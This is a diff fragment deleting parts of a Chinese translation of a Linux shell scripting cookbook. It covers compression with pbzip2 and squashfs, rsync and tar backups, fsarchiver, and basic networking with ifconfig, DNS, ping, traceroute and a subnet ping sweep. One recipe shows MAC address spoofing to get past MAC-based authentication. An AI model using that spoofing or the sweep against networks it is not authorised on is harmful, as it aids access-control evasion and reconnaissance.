pbzip2 myfile.tar - -``` - -`pbzip2`检测系统上的内核数量并将`myfile.tar`压缩至`myfile.tar.bz2`。 - -2. 为了压缩和归档多个文件或目录,我们结合使用`pbzip2`和`tar`,如下所示: - -```sh - tar cf sav.tar.bz2 --use-compress-prog=pbzip2 dir - -``` - -或者,这可以用于: - -```sh - tar -c directory_to_compress/ | pbzip2 -c > myfile.tar.bz2 - -``` - -3. 提取一个`pbzip2`压缩文件如下: - -`-d`标志将解压缩文件: - -```sh - pbzip2 -d myfile.tar.bz2 - -``` - -焦油档案可以使用管道进行解压缩和提取: - -```sh - pbzip2 -dc myfile.tar.bz2 | tar x - -``` - -# 它是如何工作的... - -`pbzip2`应用使用与`bzip2`相同的压缩算法,但是它使用线程库`pthreads`同时压缩单独的数据块。线程对用户来说是透明的,但是提供了更快的压缩。 - -像`gzip`或`bzip2`一样,`pbzip2`不创建档案。它只适用于单个文件。为了压缩多个文件和目录,我们将其与`tar`或`cpio`结合使用。 - -# 还有更多... - -对于`pbzip2`,我们还可以使用其他有用的选项: - -# 手动指定中央处理器的数量 - -`-p`选项指定要使用的 CPU 内核数量。如果自动检测失败或您需要空闲内核用于其他作业,这将非常有用: - -```sh - pbzip2 -p4 myfile.tar - -``` - -这将告诉`pbzip2`使用 4 个 CPU。 - -# 指定压缩比 - -从`-1`到`-9`的选项指定了最快和最佳的压缩比,其中 **1** 是最快的,而 **9** 是最佳的压缩比 - -# 使用压缩创建文件系统 - -`squashfs`程序创建一个只读的、高度压缩的文件系统。`squashfs`程序可以将 2 到 3 GB 的数据压缩成 700 MB 的文件。Linux LiveCD(或 LiveUSB)发行版是使用`squashfs`构建的。这些光盘利用只读压缩文件系统,将根文件系统保存在压缩文件中。压缩文件可以环回安装,以加载一个完整的 Linux 环境。当需要文件时,它们被解压缩并加载到内存中,运行,然后释放内存。 - -当你需要一个压缩的档案和对文件的随机访问时`squashfs`程序是有用的。完全解压缩大型压缩归档文件需要很长时间。环回安装的归档文件提供了快速的文件访问,因为只有归档文件的请求部分被解压缩。 - -# 准备好 - -所有现代 Linux 发行版都支持挂载`squashfs`文件系统。但是,创建`squashfs`文件需要`squashfs-tools`,可以使用包管理器安装: - -```sh - $ sudo apt-get install squashfs-tools - -``` - -或者,这可以用于: - -```sh - $ yum install squashfs-tools - -``` - -# 怎么做... - -1. 使用`mksquashfs`命令添加源目录和文件,创建`squashfs`文件: - -```sh - $ mksquashfs SOURCES compressedfs.squashfs - -``` - -源可以是通配符、文件或文件夹路径。 - -考虑这个例子: - -```sh - $ sudo mksquashfs /etc test.squashfs - Parallel mksquashfs: Using 2 processors - Creating 4.0 filesystem on test.squashfs, block size 131072. - [=======================================] 1867/1867 100% - -``` - -More details will be printed on the terminal. The output is stripped to save space. - -2. 要将`squashfs`文件挂载到挂载点,请使用环回挂载,如下所示: - -```sh - # mkdir /mnt/squash - # mount -o loop compressedfs.squashfs /mnt/squash - -``` - -您可以在`/mnt/squashfs`访问内容。 - -# 还有更多... - -通过指定附加参数,可以自定义`squashfs`文件系统。 - -# 创建 squashfs 文件时排除文件 - -`-e`标志将排除文件和文件夹: - -```sh - $ sudo mksquashfs /etc test.squashfs -e /etc/passwd /etc/shadow - -``` - -`-e`选项从`squashfs`文件系统中排除`/etc/` `passwd and` `/etc/` `shadow`文件。 - -`-ef`选项读取包含要排除的文件列表的文件: - -```sh - $ cat excludelist - /etc/passwd - /etc/shadow - - $ sudo mksquashfs /etc test.squashfs -ef excludelist - -``` - -如果我们想在排除列表中支持通配符,请使用`-wildcard`作为参数。 - -# 使用 rsync 备份快照 - -备份数据是需要定期进行的工作。除了本地备份之外,我们可能还需要将数据备份到远程位置或从远程位置备份数据。`rsync`命令将文件和目录从一个位置同步到另一个位置,同时最大限度地减少传输时间。`rsync`相对于`cp`命令的优势在于`rsync`比较修改日期,只会复制更新的文件,`rsync`支持跨远程机器的数据传输,`rsync`支持压缩和加密。 - -# 怎么做... - -1. 要将源目录复制到目标目录,请使用以下命令: - -```sh - $ rsync -av source_path destination_path - -``` - -考虑这个例子: - -```sh - $ rsync -av /home/slynux/data - slynux@192.168.0.6:/home/backups/data - -``` - -在前面的命令中: - -* `-a`代表存档 -* `-v`(详细)打印标准输出的详细信息或进度 - -前面的命令将以递归方式将所有文件从源路径复制到目标路径。源路径和目标路径可以是远程路径,也可以是本地路径。 - -2. 要将数据备份到远程服务器或主机,请使用以下命令: - -```sh - $ rsync -av source_dir username@host:PATH - -``` - -要在目的地保持镜像,每隔一段时间运行相同的`rsync`命令。它只会将已更改的文件复制到目标。 - -3. 要将数据从远程主机恢复到`localhost`,请使用以下命令: - -```sh - $ rsync -av username@host:PATH destination - -``` - -The `rsync` command uses SSH to connect to the remote machine hence, you should provide the remote machine's address in the `user@host` format, where user is the username and host is the IP address or host name attached to the remote machine. `PATH` is the path on the remote machine from where the data needs to be copied. -Make sure that the OpenSSH server is installed and running on the remote machine. Additionally, to avoid being prompted for a password for the remote machine, refer to the *Password-less auto-login with SSH* recipe in [Chapter 8](08.html), *The Old-Boy Network*. - -4. 在传输过程中压缩数据可以显著优化传输速度。`rsync-z`选项`specifies`在传输过程中压缩数据: - -```sh - $ rsync -avz source destination - -``` - -5. 要将一个目录同步到另一个目录,请使用以下命令: - -```sh - $ rsync -av /home/test/ /home/backups - -``` - -上述命令将源(`/home/test`)复制到名为“备份”的现有文件夹中。 - -6. 要将完整目录复制到另一个目录中,请使用以下命令: - -```sh - $ rsync -av /home/test /home/backups - -``` - -此命令通过创建名为 backups 的目录,将源(`/home/test`)复制到该目录。 - -For the PATH format, if we use `/` at the end of the source, `rsync` will copy the contents of the end directory specified in the `source_path` to the destination. -If `/` is not present at the end of the source, `rsync` will copy the end directory itself to the destination. -Adding the `-r` option will force `rsync` to copy all the contents of a directory, recursively. - -# 它是如何工作的... - -`rsync`命令适用于源路径和目标路径,可以是本地路径,也可以是远程路径。两条路径都可以是远程路径。通常,使用 SSH 进行远程连接,以提供安全的双向通信。本地和远程路径如下所示: - -* `/home/user/data`(本地路径) -* `user@192.168.0.6:/home/backups/data`(远程路径) - -`/home/user/data`指定机器中执行`rsync`命令的绝对路径。`user@192.168.0.6:/home/backups/data`在 IP 地址为`192.168.0.6`的机器中指定路径为`/home/backups/data`,以`user`用户身份登录。 - -# 还有更多... - -`rsync`命令支持多个命令行选项来微调其行为。 - -# 使用 rsync 存档时排除文件 - -`-exclude`和-exclude-from 选项指定了不应传输的文件: - -```sh - --exclude PATTERN - -``` - -我们可以指定要排除的文件的通配符模式。考虑以下示例: - -```sh -$ rsync -avz /home/code/app /mnt/disk/backup/code --exclude "*.o" - -``` - -该命令不备份`.o`文件。 - -或者,我们可以通过提供列表文件来指定要排除的文件列表。 - -使用`--exclude-from FILEPATH`。 - -# 更新 rsync 备份时删除不存在的文件 - -默认情况下,`rsync`不会从目标中删除不再存在于源中的文件。`-delete`选项从目标中删除源中不存在的文件: - -```sh - $ rsync -avz SOURCE DESTINATION --delete - -``` - -# 按时间间隔安排备份 - -您可以创建一个`cron`作业来定期安排备份。 - -示例如下: - -```sh - $ crontab -ev - -``` - -添加以下一行: - -```sh - 0 */10 * * * rsync -avz /home/code user@IP_ADDRESS:/home/backups - -``` - -前面的`crontab`条目计划每 10 小时执行一次`rsync`。 - -`*/10`是`crontab`语法的小时位置。`/10`指定每 10 小时执行一次备份。如果`*/10`写在分钟位置,每 10 分钟执行一次。 - -看一下[第 10 章](10.html)*行政调用*中的*带 cron* 配方,了解如何配置`crontab`。 - -# 差异档案 - -到目前为止所描述的备份解决方案都是当时存在的文件系统的完整拷贝。当您立即发现问题并需要恢复最新的快照时,此快照非常有用。如果您在创建新快照之前没有意识到问题,并且以前的好数据被当前的坏数据覆盖,则该操作会失败。 - -文件系统的归档提供了文件更改的历史记录。当您需要返回损坏文件的旧版本时,这很有用。 - -`rsync`、`tar`和`cpio`可用于制作文件系统的每日快照。然而,每天备份一个完整的文件系统是昂贵的。为一周中的每一天创建单独的快照将需要原始文件系统七倍的空间。 - -差异备份仅保存自上次完全备份以来更改过的数据。Unix 中的转储/恢复实用程序支持这种存档备份。不幸的是,这些实用程序是围绕磁带驱动器设计的,使用起来并不简单。 - -查找工具可以与`tar`或`cpio`一起使用来复制这种类型的功能。 - -# 怎么做... - -使用 tar 创建初始完整备份: - -```sh - tar -cvz /backup/full.tgz /home/user - -``` - -使用查找的`-newer`标志确定自创建完整备份以来哪些文件发生了变化,并创建新的归档: - -```sh - tar -czf day-`date +%j`.tgz `find /home/user -newer - /backup/full.tgz` - -``` - -# 它是如何工作的... - -find 命令生成自创建完整备份`(/backup/full.tgz`以来修改过的所有文件的列表。 - -日期命令根据儒略日生成文件名。因此,今年的第一次差异备份将是`day-1.tgz`,1 月 2 日的备份将是`day-2.tgz`,以此类推。 - -随着越来越多的文件从初始完整备份更改,差异归档文件将会越来越大。当差异归档文件变得太大时,请进行新的完整备份。 - -# 使用 fsarchiver 创建整个磁盘映像 - -`fsarchiver`应用可以将磁盘分区的内容保存到压缩的归档文件中。与`tar`或`cpio`不同,`fsarchiver`保留扩展文件属性,可以恢复到没有当前文件系统的磁盘。`fsarchiver`应用识别并保留了 Windows 文件属性和 Linux 属性,使其适合迁移安装了 Samba 的分区。 - -# 准备好 - -默认情况下,`fsarchiver`应用不会安装在大多数发行版中。您必须使用软件包管理器安装它。更多信息,请访问[http://www.fsarchiver.org/Installation](http://www.fsarchiver.org/Installation)。 - -# 怎么做... - -1. 创建一个`filesystem/partition`的备份。 - -像这样使用`fsarchiver`的`savefs`选项: - -```sh - fsarchiver savefs backup.fsa /dev/sda1 - -``` - -这里`backup.fsa`是最终的备份文件,`/dev/sda1`是要备份的分区 - -2. 同时备份多个分区。 - -如前所述使用`savefs`选项,并将分区作为最后一个参数传递给`fsarchiver`: - -```sh - fsarchiver savefs backup.fsa /dev/sda1 /dev/sda2 - -``` - -3. 从备份归档中还原分区。 - -像这样使用`fsarchiver`的`restfs`选项: - -```sh - fsarchiver restfs backup.fsa id=0,dest=/dev/sda1 - -``` - -`id=0`表示我们要从档案中挑选第一个分区到指定为`dest=/dev/sda1`的分区。 - -从备份归档中恢复多个分区。 - -如前所述,使用`restfs`选项如下: - -```sh - fsarchiver restfs backup.fsa id=0,dest=/dev/sda1 - id=1,dest=/dev/sdb1 - -``` - -这里,我们使用两组`id,dest`参数告诉`fsarchiver`将前两个分区从备份恢复到两个物理分区。 - -# 它是如何工作的... - -像 tar 一样,`fsarchiver`检查文件系统以创建文件列表,然后将这些文件保存在压缩的归档文件中。与仅保存文件信息的 tar 不同,`fsarchiver`也执行文件系统的备份。这使得在新分区上恢复备份变得更加容易,因为不需要重新创建文件系统。 - -如果你是第一次看到分区的`/dev/sda1`符号,这需要一个解释。`/dev`在 Linux 中保存称为设备文件的特殊文件,指的是一个物理设备。`sda1`中的`sd`指的是 **SATA** 磁盘,下一个字母可以是 a、b、c 等等,后面跟着分区号。 - -![](img/b05265_07_lastimg.jpg) \ No newline at end of file diff --git a/docs/linux-shell-script-cb/08.md b/docs/linux-shell-script-cb/08.md deleted file mode 100644 index b1ce2820..00000000 --- a/docs/linux-shell-script-cb/08.md +++ /dev/null @@ -1,1960 +0,0 @@ -# 八、老男孩网络 - -在本章中,我们将介绍以下食谱: - -* 设置网络 -* 让我们平吧! -* 追踪 IP 路由 -* 列出网络上所有可用的计算机 -* 使用 SSH 在远程主机上运行命令 -* 在远程机器上运行图形命令 -* 通过网络传输文件 -* 连接到无线网络 -* 通过 SSH 实现无密码自动登录 -* 使用 SSH 的端口转发 -* 在本地挂载点挂载远程驱动器 -* 网络流量和端口分析 -* 测量网络带宽 -* 创建任意套接字 -* 造桥 -* 共享互联网连接 -* 基本防火墙使用`iptables` -* 创建虚拟专用网络 - -# 介绍 - -联网是连接计算机以允许它们交换信息的行为。最广泛使用的网络堆栈是 TCP/IP,其中每个节点都被分配一个唯一的 IP 地址以供识别。如果你已经熟悉网络,你可以跳过这个介绍。 - -TCP/IP 网络通过在节点之间传递数据包来工作。每个数据包都包含其目的地的 IP 地址和可以处理该数据的应用的端口号。 - -当一个节点收到一个数据包时,它会检查它是否是这个数据包的目的地。如果是,节点检查端口号并调用适当的应用来处理数据。如果该节点不是目的地,它会评估自己对网络的了解,并将数据包传递给更靠近最终目的地的节点。 - -Shell 脚本可用于配置网络中的节点、测试机器的可用性、在远程主机上自动执行命令等等。本章提供了介绍与网络相关的工具和命令的方法,并展示了如何有效地使用它们。 - -# 设置网络 - -在深入研究基于网络的方法之前,有必要对设置网络、术语以及分配 IP 地址、添加路由等命令有一个基本的了解。本食谱概述了在 GNU/Linux 网络中使用的命令。 - -# 准备好 - -网络接口通过有线或无线链接将机器物理连接到网络。Linux 使用诸如`eth0`、`eth1`或`enp0s25`等名称来表示网络接口(指以太网接口)。其他接口,即`usb0`、`wlan0`和`tun0`,分别可用于 USB 网络接口、无线局域网和隧道。 - -在本食谱中,我们将使用这些命令:`ifconfig`、`route`、`nslookup`和`host`。 - -`ifconfig`命令用于配置和显示网络接口、子网掩码等详细信息。应该在`/sbin/ifconfig`有。 - -# 怎么做... - -1. 列出当前网络接口配置: - -```sh - $ ifconfig - lo Link encap:Local Loopback - inet addr:127.0.0.1 Mask:255.0.0.0 - inet6addr: ::1/128 Scope:Host - UP LOOPBACK RUNNING MTU:16436 Metric:1 - RX packets:6078 errors:0 dropped:0 overruns:0 frame:0 - TX packets:6078 errors:0 dropped:0 overruns:0 carrier:0 - collisions:0 txqueuelen:0 - RX bytes:634520 (634.5 KB) TX bytes:634520 (634.5 KB) - wlan0 Link encap:EthernetHWaddr 00:1c:bf:87:25:d2 - inet addr:192.168.0.82 Bcast:192.168.3.255 Mask:255.255.252.0 - inet6addr: fe80::21c:bfff:fe87:25d2/64 Scope:Link - UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 - RX packets:420917 errors:0 dropped:0 overruns:0 frame:0 - TX packets:86820 errors:0 dropped:0 overruns:0 carrier:0 - collisions:0 txqueuelen:1000 - RX bytes:98027420 (98.0 MB) TX bytes:22602672 (22.6 MB) - -``` - -ifconfig 输出中最左边的列列出了网络接口的名称,右边的列显示了与相应网络接口相关的详细信息。 - -2. 要设置网络接口的 IP 地址,请使用以下命令: - -```sh - # ifconfig wlan0 192.168.0.80 - -``` - -您需要以 root 用户身份运行前面的命令 - -`192.168.0.80`被定义为无线设备 wlan0 的地址 - -要设置子网掩码和 IP 地址,请使用以下命令: - -```sh - # ifconfig wlan0 192.168.0.80 netmask 255.255.252.0 - -``` - -3. 许多网络使用**动态主机配置协议** ( **DHCP** )在计算机连接到网络时自动分配 IP 地址。当您的机器连接到自动分配 IP 地址的网络时,`dhclient`命令分配 IP 地址。如果地址是通过 DHCP 分配的,请使用`dhclient`而不是手动选择可能与网络上另一台机器冲突的地址。许多 Linux 发行版在检测到网络电缆连接时会自动调用`dhclient` - -```sh - # dhclient eth0 - -``` - -# 还有更多... - -`ifconfig`命令可以与其他 shell 工具结合,生成特定的报告。 - -# 打印网络接口列表 - -此单行命令序列显示系统上可用的网络接口: - -```sh -$ ifconfig | cut -c-10 | tr -d ' ' | tr -s 'n' -lo -wlan0 - -``` - -`ifconfig`输出每行前十个字符留作写网络接口名称。因此,我们使用`cut`来提取每行的前十个字符。`tr -d ' '`删除每行中的每个空格字符。现在,使用`tr -s 'n'`挤压`n`换行符,产生一个接口名称列表。 - -# 显示 IP 地址 - -`ifconfig`命令显示系统上可用的每个活动网络接口的详细信息。但是,我们可以使用以下命令将其限制在特定的接口上: - -```sh -$ ifconfig iface_name - -``` - -考虑这个例子: - -```sh -$ ifconfig wlan0 -wlan0 Link encap:EthernetHWaddr 00:1c:bf:87:25:d2 -inet addr:192.168.0.82 Bcast:192.168.3.255 Mask:255.255.252.0 -inet6 addr: fe80::3a2c:4aff:6e6e:17a9/64 Scope:Link -UP BROADCAST RUNNINT MULTICAST MTU:1500 Metric:1 -RX Packets... - -``` - -要控制设备,我们需要 IP 地址、广播地址、硬件地址和子网掩码: - -* `HWaddr 00:1c:bf:87:25:d2`:这是硬件地址(MAC 地址) -* `inet addr:192.168.0.82`:这是 IP 地址 -* `Bcast:192.168.3.255`:这是广播地址 -* `Mask:255.255.252.0`:这是子网掩码 - -要从`ifconfig`输出中提取 IP 地址,请使用以下命令: - -```sh -$ ifconfig wlan0 | egrep -o "inetaddr:[^ ]*" | grep -o "[0-9.]*" -192.168.0.82 - -``` - -`egrep -o "inetaddr:[^ ]*"`命令返回`inet addr:192.168.0.82`。该模式以`inetaddr:`开始,以任何非空格字符序列(由`[^ ]*`指定)结束。下一个命令`grep -o "[0-9.]*"`将其输入减少到只有数字和句点,并打印出一个 IP4 地址。 - -# 欺骗硬件地址(媒体访问控制地址) - -当身份验证或过滤基于硬件地址时,我们可以使用硬件地址欺骗。硬件地址在`ifconfig`输出中显示为`HWaddr 00:1c:bf:87:25:d2`。 - -`ifconfig`的`hw`子命令将定义设备类别和媒体访问控制地址: - -```sh -# ifconfig eth0 hw ether 00:1c:bf:87:25:d5 - -``` - -在前面的命令中,`00:1c:bf:87:25:d5`是要分配的新 MAC 地址。当我们需要通过 MAC 认证的服务提供商访问互联网时,这很有用,这些服务提供商为单台机器提供互联网访问。 - -Note: this definition only lasts until a machine restarts. - -# 名称服务器和域名服务 - -互联网的底层寻址方案是点分十进制形式(如`83.166.169.231`)。人类更喜欢用文字而不是数字,所以互联网上的资源都是用名为**网址**或**域名**的字符串来标识的。例如,[www.packtpub.com](http://www.packtpub.com)是一个域名,对应一个 IP 地址。站点可以通过数字或字符串名称来标识。 - -这种将 IP 地址映射到符号名称的技术被称为**域名服务** ( **域名系统**)。当我们进入[www.google.com](http://www.google.com)时,我们的计算机使用域名服务器将域名解析成相应的 IP 地址。在本地网络中,我们设置本地域名系统,用符号名命名本地机器。 - -名称服务器在`/etc/resolv.conf`中定义: - -```sh -$ cat /etc/resolv.conf -# Local nameserver -nameserver 192.168.1.1 -# External nameserver -nameserver 8.8.8.8 - -``` - -我们可以通过编辑该文件或用一行代码手动添加名称服务器: - -```sh -# sudo echo nameserver IP_ADDRESS >> /etc/resolv.conf - -``` - -获取 IP 地址最简单的方法就是使用`ping`命令访问域名。回复包括 IP 地址: - -```sh -$ ping google.com -PING google.com (64.233.181.106) 56(84) bytes of data. - -``` - -数字`64.233.181.106`是 google.com 服务器的 IP 地址。 - -一个域名可能映射到多个 IP 地址。在这种情况下,`ping`显示了 IP 地址列表中的一个地址。要获得分配给域名的所有地址,我们应该使用域名系统查找工具。 - -# DNS 查找 - -几个 DNS 查找实用程序从命令行提供名称和 IP 地址解析。`host`和`nslookup`命令是两个常用的实用程序。 - -`host`命令列出了附加到域名的所有 IP 地址: - -```sh -$ host google.com -google.com has address 64.233.181.105 -google.com has address 64.233.181.99 -google.com has address 64.233.181.147 -google.com has address 64.233.181.106 -google.com has address 64.233.181.103 -google.com has address 64.233.181.104 - -``` - -`nslookup`命令将名称映射到 IP 地址,并将 IP 地址映射到名称: - -```sh -$ nslookup google.com -Server: 8.8.8.8 -Address: 8.8.8.8#53 - -Non-authoritative answer: -Name: google.com -Address: 64.233.181.105 -Name: google.com -Address: 64.233.181.99 -Name: google.com -Address: 64.233.181.147 -Name: google.com -Address: 64.233.181.106 -Name: google.com -Address: 64.233.181.103 -Name: google.com -Address: 64.233.181.104 - -Server: 8.8.8.8 - -``` - -前面命令行片段中的最后一行对应于用于解析的默认名称服务器。 - -通过在`/etc/hosts`文件中添加条目,可以在 IP 地址解析中添加一个符号名称。 - -`/etc/hosts follow this format`中的条目: - -```sh -IP_ADDRESS name1 name2 ... - -``` - -可以这样更新`/etc/hosts`: - -```sh -# echo IP_ADDRESS symbolic_name>> /etc/hosts - -``` - -考虑这个例子: - -```sh -# echo 192.168.0.9 backupserver>> /etc/hosts - -``` - -添加该条目后,每当解析到`backupserver`时,都会解析到`192.168.0.9`。 - -如果`backupserver`有多个名称,可以将它们包含在同一行: - -```sh -# echo 192.168.0.9 backupserver backupserver.example.com >> /etc/hosts - -``` - -# 显示路由表信息 - -互连网络很常见。例如,工作或学校的不同部门可能在不同的网络上。当一个网络上的设备想要与另一个网络上的设备通信时,它需要通过两个网络共用的设备发送数据包。这个设备被称为`gateway`,它的功能是将数据包路由到不同的网络和从不同的网络路由数据包。 - -操作系统维护一个名为`routing table`的表,其中包含了数据包如何通过网络上的机器转发的信息。`route`命令显示路由表: - -```sh -$ route -Kernel IP routing table -Destination Gateway GenmaskFlags Metric Ref UseIface -192.168.0.0 * 255.255.252.0 U 2 0 0wlan0 -link-local * 255.255.0.0 U 1000 0 0wlan0 -default p4.local 0.0.0.0 UG 0 0 0wlan0 - -``` - -或者,您也可以使用这个: - -```sh -$ route -n -Kernel IP routing table -Destination Gateway Genmask Flags Metric Ref UseIface -192.168.0.0 0.0.0.0 255.255.252.0 U 2 0 0 wlan0 -169.254.0.0 0.0.0.0 255.255.0.0 U 1000 0 0 wlan0 -0.0.0.0 192.168.0.4 0.0.0.0 UG 0 0 0 wlan0 - -``` - -使用`-n`指定显示数字地址。默认情况下,路由会将数字地址映射到名称。 - -当您的系统不知道到达目的地的路由时,它会将数据包发送到默认网关。默认网关可能是互联网链接或跨部门路由器。 - -`route add`命令可以添加默认网关: - -```sh -# route add default gw IP_ADDRESS INTERFACE_NAME - -``` - -考虑这个例子: - -```sh -# route add default gw 192.168.0.1 wlan0 - -``` - -# 请参见 - -* *使用变量和环境变量[第 1 章](01.html)*的*配方,解释了`PATH`变量* -* *用[第四章](04.html)、*发短信和开车*的 grep* 配方搜索和挖掘文件中的文本,解释了`grep`命令 - -# 让我们平吧! - -`ping`命令是一个基本的网络命令,所有主要操作系统都支持。Ping 用于验证网络中主机之间的连通性,并识别可访问的机器。 - -# 怎么做... - -ping 命令使用**互联网控制消息协议** ( **ICMP** )数据包来检查网络上两台主机的连通性。当这些回应数据包被发送到目标时,如果连接完成,目标会以回复进行响应。如果没有到目标的路由,或者没有从目标返回请求者的已知路由,ping 请求可能会失败。 - -ping 地址将检查主机是否可达: - -```sh -$ ping ADDRESS - -``` - -`ADDRESS`可以是主机名、域名或 IP 地址本身。 - -默认情况下,`ping`会持续发送数据包,回复信息打印在终端上。按下 *Ctrl* + *C* 停止 pinging 过程。 - -考虑以下示例: - -* 当可以访问主机时,输出将类似于以下内容: - -```sh - $ ping 192.168.0.1 - PING 192.168.0.1 (192.168.0.1) 56(84) bytes of data. - 64 bytes from 192.168.0.1: icmp_seq=1 ttl=64 time=1.44 ms - ^C - --- 192.168.0.1 ping statistics --- - 1 packets transmitted, 1 received, 0% packet loss, time 0ms - rtt min/avg/max/mdev = 1.440/1.440/1.440/0.000 ms - - $ ping google.com - PING google.com (209.85.153.104) 56(84) bytes of data. - 64 bytes from bom01s01-in-f104.1e100.net (209.85.153.104): - icmp_seq=1 ttl=53 time=123 ms - ^C - --- google.com ping statistics --- - 1 packets transmitted, 1 received, 0% packet loss, time 0ms - rtt min/avg/max/mdev = 123.388/123.388/123.388/0.000 ms - -``` - -* 当主机不可访问时,输出如下所示: - -```sh - $ ping 192.168.0.99 - PING 192.168.0.99 (192.168.0.99) 56(84) bytes of data. - From 192.168.0.82 icmp_seq=1 Destination Host Unreachable - From 192.168.0.82 icmp_seq=2 Destination Host Unreachable - -``` - -如果无法到达目标,ping 会返回`Destination Host Unreachable`错误消息。 - -Network administrators generally configure devices such as routers not to respond to `ping`. This is done to lower security risks, as `ping` can be used by attackers (using brute-force) to find out IP addresses of machines. - -# 还有更多... - -除了检查网络中两点之间的连通性外,`ping`命令还返回其他信息。往返时间和数据包丢失报告可用于确定网络是否正常工作。 - -# 往返时间 - -`ping`命令显示发送和返回的每个数据包的**往返时间** ( **RTT** )。RTT 以毫秒为单位报告。在内部网络中,小于 1 毫秒的 RTT 是常见的。在互联网上 ping 一个站点时,RTT 通常为 10-400 毫秒,可能超过 1000 毫秒: - -```sh ---- google.com ping statistics --- -5 packets transmitted, 5 received, 0% packet loss, time 4000ms -rtt min/avg/max/mdev = 118.012/206.630/347.186/77.713 ms - -``` - -这里,最小 RTT 为`118.012 ms`,平均 RTT 为`206.630` ms,最大 RTT 为`347.186ms`。ping 输出中的`mdev` ( `77.713ms`)参数代表平均偏差。 - -# 序号 - -ping 发送的每个数据包都会被分配一个编号,从 1 开始,直到 ping 停止。如果网络接近饱和,数据包可能会因冲突和重试而无序返回,或者完全丢弃: - -```sh -$> ping example.com -64 bytes from example.com (1.2.3.4): icmp_seq=1 ttl=37 time=127.2 ms -64 bytes from example.com (1.2.3.4): icmp_seq=3 ttl=37 time=150.2 ms -64 bytes from example.com (1.2.3.4): icmp_seq=2 ttl=30 time=1500.3 ms - -``` - -在本例中,第二个数据包被丢弃,然后在超时后重试,导致它无序返回,往返时间更长。 - -# 该活下去了 - -每个 ping 数据包在被丢弃之前都有一个预定义的跳数。每台路由器将该值递减 1。此值显示系统和您要 ping 的站点之间有多少路由器。初始**生存时间** ( **TTL** )值可能因您的平台或 ping 版本而异。您可以通过 ping 环回连接来确定初始值: - -```sh -$> ping 127.0.0.1 -64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.049 ms -$> ping www.google.com -64 bytes from 173.194.68.99: icmp_seq=1 ttl=45 time=49.4 ms - -``` - -在本例中,我们 ping 环回地址,以确定无跳的 TTL 是多少(本例中为 64)。然后,我们 ping 一个远程站点,从无跳值中减去该 TTL 值,以确定两个站点之间有多少跳。在这种情况下,64-45 是 19 跳。 - -两个站点之间的 TTL 值通常是恒定的,但是当条件需要替代路径时,该值会发生变化。 - -# 限制要发送的数据包数量 - -`ping`命令发送回声包,无限期等待回声的回复,直到按下 *Ctrl* + *C* 停止。`-c`标志将限制要发送的回声包的数量: - -```sh --c COUNT - -``` - -考虑这个例子: - -```sh -$ ping 192.168.0.1 -c 2 -PING 192.168.0.1 (192.168.0.1) 56(84) bytes of data. -64 bytes from 192.168.0.1: icmp_seq=1 ttl=64 time=4.02 ms -64 bytes from 192.168.0.1: icmp_seq=2 ttl=64 time=1.03 ms - ---- 192.168.0.1 ping statistics --- -2 packets transmitted, 2 received, 0% packet loss, time 1001ms -rtt min/avg/max/mdev = 1.039/2.533/4.028/1.495 ms - -``` - -在前面的例子中,`ping`命令发送两个回声包并停止。当我们需要通过脚本从 IP 地址列表中 ping 通多台机器并检查它们的状态时,这非常有用。 - -# 返回 ping 命令的状态 - -`ping`命令成功时返回退出状态`0`,失败时返回非零。`Successful`表示目的主机可达,而`Failure`表示目的主机不可达。 - -返回状态可以通过以下方式获得: - -```sh -$ ping domain -c2 -if [ $? -eq0 ]; -then - echo Successful ; -else - echo Failure -fi - -``` - -# 追踪 IP 路由 - -当应用通过互联网请求服务时,服务器可能位于远处,并通过许多网关或路由器连接。`traceroute`命令显示数据包到达目的地之前访问的所有中间网关的地址。`traceroute`信息帮助我们了解每个数据包到达目的地需要多少跳。中间网关的数量代表网络中两个节点之间的有效距离,它可能与物理距离无关。旅行时间随着每一跳而增加。路由器接收、解密和传输数据包需要时间。 - -# 怎么做... - -`traceroute`命令的格式如下: - -```sh -traceroute destinationIP - -``` - -`destinationIP`可以是数字或字符串: - -```sh -$ traceroute google.com -traceroute to google.com (74.125.77.104), 30 hops max, 60 byte packets -1 gw-c6509.lxb.as5577.net (195.26.4.1) 0.313 ms 0.371 ms 0.457 ms -2 40g.lxb-fra.as5577.net (83.243.12.2) 4.684 ms 4.754 ms 4.823 ms -3 de-cix10.net.google.com (80.81.192.108) 5.312 ms 5.348 ms 5.327 ms -4 209.85.255.170 (209.85.255.170) 5.816 ms 5.791 ms 209.85.255.172 (209.85.255.172) 5.678 ms -5 209.85.250.140 (209.85.250.140) 10.126 ms 9.867 ms 10.754 ms -6 64.233.175.246 (64.233.175.246) 12.940 ms 72.14.233.114 (72.14.233.114) 13.736 ms 13.803 ms -7 72.14.239.199 (72.14.239.199) 14.618 ms 209.85.255.166 (209.85.255.166) 12.755 ms 209.85.255.143 (209.85.255.143) 13.803 ms -8 209.85.255.98 (209.85.255.98) 22.625 ms 209.85.255.110 (209.85.255.110) 14.122 ms -* -9 ew-in-f104.1e100.net (74.125.77.104) 13.061 ms 13.256 ms 13.484 ms - -``` - -Modern Linux distributions also ship with an `mtr` command, which is similar to traceroute but shows real-time data that keeps refreshing. It is useful for checking your network carrier quality. - -# 列出网络上所有可用的计算机 - -当我们监控一个大型网络时,我们需要检查所有机器的可用性。机器不可用可能有两个原因:它没有通电,或者网络出现问题。我们可以编写一个 shell 脚本来确定和报告网络上哪些机器可用。 - -# 准备好 - -在这个食谱中,我们演示了两种方法。第一种方法使用 ping,第二种方法使用`fping`。`fping`命令对脚本来说更容易,比 ping 命令有更多的功能。它可能不是您的 Linux 发行版的一部分,但是可以用您的包管理器安装。 - -# 怎么做... - -下一个示例脚本将使用 ping 命令找到网络上可见的机器: - -```sh -#!/bin/bash -#Filename: ping.sh -# Change base address 192.168.0 according to your network. - -for ip in 192.168.0.{1..255} ; -do - ping $ip -c 2 &> /dev/null ; - - if [ $? -eq 0 ]; - then - echo $ip is alive - fi -done - -``` - -输出如下所示: - -```sh -$ ./ping.sh -192.168.0.1 is alive -192.168.0.90 is alive - -``` - -# 它是如何工作的... - -该脚本使用`ping`命令找出网络上可用的机器。它使用`for`循环来遍历由表达式`192.168.0.{1..255}`生成的 IP 地址列表。`{start..end}`符号生成开始和结束之间的值。在这种情况下,它会创建从`192.168.0.1`到`192.168.0.255`的 IP 地址。 - -`ping $ip -c 2 &> /dev/null`对相应的 IP 地址运行`ping`命令。`-c`选项使 ping 只发送两个数据包。`&> /dev/null`重定向`stderr`和`stdout to 